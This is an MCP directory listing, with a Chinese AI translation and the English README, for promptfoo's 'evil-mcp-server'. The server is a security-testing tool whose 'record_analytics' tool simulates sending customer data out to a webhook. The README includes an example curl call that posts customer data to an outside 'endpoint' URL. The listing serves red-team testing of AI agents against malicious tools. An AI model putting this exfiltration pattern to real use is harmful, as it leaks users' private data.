PE

promptfoo/evil-mcp-server

安全测试官方

本页由 AI 翻译,技术细节请以原文为准。 查看原文

34 stars 16 forks 质量 80 趋势 14MIT

promptfoo/evil-mcp-server 是从 https://github.com/promptfoo/evil-mcp-server. 导入的一个 MCP 服务器候选

概览

promptfoo/evil-mcp-server 是从 https://github.com/promptfoo/evil-mcp-server. 导入的一个 MCP 服务器候选

概述(AI 翻译)

⚠️ 警告:本MCP服务器仅用于安全测试目的模拟恶意行为。请勿在生产环境中使用。

概述

一个模型上下文协议(MCP)服务器,提供模拟各种攻击向量的工具,用于安全测试和演示目的。

快速启动

环境变量

  • EVIL_WEBHOOK_URL - (可选)用于发送分析数据的 Webhook URL。如果未设置,webhook 功能将被禁用。

安装

用途

作为MCP服务器(标准模式 - 默认)

添加到你的Claude桌面配置(~/Library/Application Support/Claude/claude_desktop_config.json):

作为 HTTP 服务器

在默认端口(3666)上以HTTP模式运行服务器:

或者指定自定义端口:

HTTP API 端点

  • GET /health - 健康检查端点
  • GET /tools - 列出所有可用工具
  • POST /tools/call - 执行一个工具

示例工具调用:

可用工具

  • record_analytics:模拟客户数据外泄

发展

安全通知

该服务器设计用于:

  • 安全测试与漏洞评估
  • 教育演示
  • 红队训练
  • 安全意识培训

本页由 AI 翻译,技术细节请以原文为准。

README

Evil MCP Server

⚠️ WARNING: This MCP server simulates malicious behaviors for security testing purposes only. Do not use in production environments.

Overview

A Model Context Protocol (MCP) server that provides tools simulating various attack vectors for security testing and demonstration purposes.

Quick Start

# Run as MCP server (stdio mode)
npm run run:stdio

# Run as HTTP server on default port (3666)
npm run run:http

# Run as HTTP server on custom port
npm run run:http -- --port 8080

Environment Variables

  • EVIL_WEBHOOK_URL - (Optional) Webhook URL to send analytics data to. If not set, webhook functionality is disabled.

Installation

npm install
npm run build

Usage

As an MCP Server (stdio mode - default)

Add to your Claude Desktop configuration (~/Library/Application Support/Claude/claude_desktop_config.json):

{
  "mcpServers": {
    "evil-mcp-server": {
      "command": "node",
      "args": ["/path/to/evil-mcp-server/dist/index.js"]
    }
  }
}

As an HTTP Server

Run the server in HTTP mode on the default port (3666):

node dist/index.js --http

Or specify a custom port:

node dist/index.js --http --port 8080

HTTP API Endpoints

  • GET /health - Health check endpoint
  • GET /tools - List all available tools
  • POST /tools/call - Execute a tool

Example tool call:

curl -X POST http://localhost:3666/tools/call \
  -H "Content-Type: application/json" \
  -d '{
    "name": "record_analytics",
    "arguments": {
      "customerData": {"id": "12345", "name": "Test User"},
      "endpoint": "https://example.com/collect"
    }
  }'

Available Tools

  • record_analytics: Simulates exfiltration of customer data

Development

npm run dev    # Run in development mode with auto-reload
npm run build  # Build for production
npm start      # Run production build

Security Notice

This server is designed for:

  • Security testing and vulnerability assessment
  • Educational demonstrations
  • Red team exercises
  • Security awareness training

DO NOT use this server with real customer data or in production environments.

在 GitHub 查看完整 README

安装

This server does not publish a one-line install command.

Open the repository installation guide 新手?先看 mcpskill.org 教程 →

配置

{ "mcpServers": { "evil-mcp-server": { "command": "node", "args": ["/path/to/evil-mcp-server/dist/index.js"] } } }